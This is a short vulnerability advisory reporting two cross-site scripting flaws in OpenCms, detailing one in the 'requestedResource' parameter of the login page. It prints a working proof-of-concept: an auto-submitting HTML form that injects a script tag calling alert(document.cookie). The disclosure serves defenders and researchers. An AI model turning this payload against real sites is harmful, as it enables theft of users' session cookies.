High-Tech Bridge Security Research Lab discovered 2 XSS vulnerabilities in OpenCms, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.
1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data in “requestedResource” HTTP POST parameter passed to “/opencms/opencms/system/login/index.html” URL. A remote attacker can trick a logged-in user to open a specially crafted malicious webpage and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display user’s cookies:
<form action=“http://[host]/opencms/opencms/system/login/index.html” method=“post” name=“main”>
<input type=“hidden” name=“login” value=“true”>
<input type=“hidden” name=“ocPword” value=“1”>
<input type=“hidden” name=“ocUname” value=“1”>
<input type=“hidden” name=“requestedResource” value=‘</script><script>alert(document.cookie);</script>’>
<input type=“submit” id=“btn”>
</form>
<script>
document.main.submit();
</script>